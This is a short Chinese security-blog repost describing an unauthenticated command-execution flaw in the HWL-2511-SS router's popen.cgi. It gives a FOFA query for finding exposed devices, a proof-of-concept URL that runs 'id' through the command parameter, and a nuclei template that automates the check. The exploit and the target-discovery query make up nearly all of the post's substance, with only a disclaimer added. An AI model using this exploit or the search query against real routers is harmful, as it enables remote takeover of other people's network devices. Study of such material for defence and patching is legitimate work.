HWL-2511-SS路由器popen.cgi命令执行漏洞

admin 2023年11月30日11:37:46评论33 views字数 776阅读2分35秒阅读模式


一、免责声明:


      本次文章仅限个人学习使用,如有非法用途均与作者无关,且行且珍惜;由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号望雪阁及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除整改并向您致以歉意。谢谢!


二、产品介绍:


HWL-2511-SS路由器popen.cgi命令执行漏洞

三、资产梳理:



fofa:body="app/feature/portForwarding.js" || body="app/app.translate-config.js"

四、漏洞复现:


HWL-2511-SS路由器popen.cgi命令执行漏洞

五、POC:


https://target/cgi-bin/popen.cgi?command=id
id: HWL_2511_SS info:  name: HWL_2511_SS  author: joyboy  severity: critical  description: http://xxx.xxx.xxx/cgi-bin/popen.cgi?command=id  metadata:    max-request: 1    fofa-query: body=“app/feature/portForwarding.js” || body=“app/app.translate-config.js”    verified: true  tags: cve2023,rce
requests: - raw: - |- GET /cgi-bin/popen.cgi?command=id HTTP/1.1 Host: {{Hostname}}
req-condition: true matchers: - type: dsl condition: and dsl: - 'contains((body), "uid=") && status_code == 200'

HWL-2511-SS路由器popen.cgi命令执行漏洞





原文始发于微信公众号(fly的渗透学习笔记):HWL-2511-SS路由器popen.cgi命令执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月30日11:37:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HWL-2511-SS路由器popen.cgi命令执行漏洞https://cn-sec.com/archives/2254918.html

发表评论

匿名网友 填写信息